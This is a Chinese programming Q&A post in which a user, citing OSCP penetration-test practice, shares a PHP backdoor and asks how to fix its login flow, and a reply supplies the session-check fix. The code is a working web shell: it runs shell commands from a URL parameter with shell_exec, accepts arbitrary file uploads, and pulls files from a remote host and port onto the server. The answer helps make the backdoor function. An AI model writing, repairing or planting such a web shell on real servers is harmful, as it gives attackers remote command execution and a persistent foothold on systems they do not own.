将 PHP 脚本和 html 呈现在一个函数/视图中

我有一个 PHP 脚本,我正在开发它作为后门,在渗透测试中上传到受感染的服务器/应用程序 - 作为 PWK/OSCP 的一部分。因此使用了不安全的功能。


我正在尝试实施一些基本的身份验证,以确保只有授权用户才能找到并使用后门。


我遇到的问题是,一旦用户登录,当执行命令或上传时,脚本会返回到login()函数中,而不是呈现例如ls或任何其他系统命令的结果。


我尝试displayForm()从内部调用,但出现内存异常。


如何更改现有脚本,以便显示命令输出并为后续命令准备好表单?


出于此调试的目的,user:password 已设置为 1:1,因为脚本不允许使用空白密码。


我不熟悉 PHP,所以请原谅任何明显写得不好的代码!


<?php

    $_SESSION['valid'] = false;

    login();


    function displayForm() {

        if (!$_SESSION['valid']) {

            login();

        }


        $output = ""; # Leave this blank

        $host = "127.0.0.1"; # host to fetch files from if not a local upload

        $port = "9001"; 


        if (isset($_FILES['fileToUpload'])) {

            $output = "";

            $fileName = basename($_FILES["fileToUpload"]["name"]);

            $file_tmp =$_FILES['fileToUpload']['tmp_name'];

            move_uploaded_file($file_tmp, $fileName);

        }


        if (isset($_POST['remoteFile'])) {

            $output = "";

      file_put_contents($_POST['remoteFile'], file_get_contents("http://$host:$port/" . $_POST['remoteFile']));

    }

    if (isset($_GET['cmd'])) {

      $output .= "<pre>" . shell_exec($_GET['cmd']) . "</pre>";

        }


        echo <<<HTML

            <html>

                <body>

                    <form action="" method="POST" enctype="multipart/form-data">

                        <input type="hidden" name="MAX_FILE_SIZE" value="1000000">

                        <p> Local Upload: <input type="file" name="fileToUpload">

                        <input type="submit" name="upload">

                    </form>


                    <br>


                    <form action="" method="POST" enctype="multipart/form-data">

                        <p> Fetch From Remote: <input type="text" name="remoteFile">

                        <input type="submit" name="fetch">

                    </form>


                    <br>

小怪兽爱吃肉
浏览 141回答 1
1回答

森林海

所以问题出在第 2 行和第 3 行。当您通过登录表单“登录”时,您正在设置 Session 变量并displayForm()在同一请求中运行。但是当您提交下一个表单时,整个页面会重新加载,因此 php 从上到下再次运行整个脚本。php 仅在单个请求中工作。所以这就是为什么你需要会话。要解决您的问题,您必须修改第 2-3 行并首先检查会话值是否已设置。您可以使用简单的if条件来做到这一点:<?phpif (!array_key_exists('valid', $_SESSION) || $_SESSION['valid'] !== true) {&nbsp; login();} else {&nbsp; displayForm();}
打开App,查看更多内容
随时随地看视频慕课网APP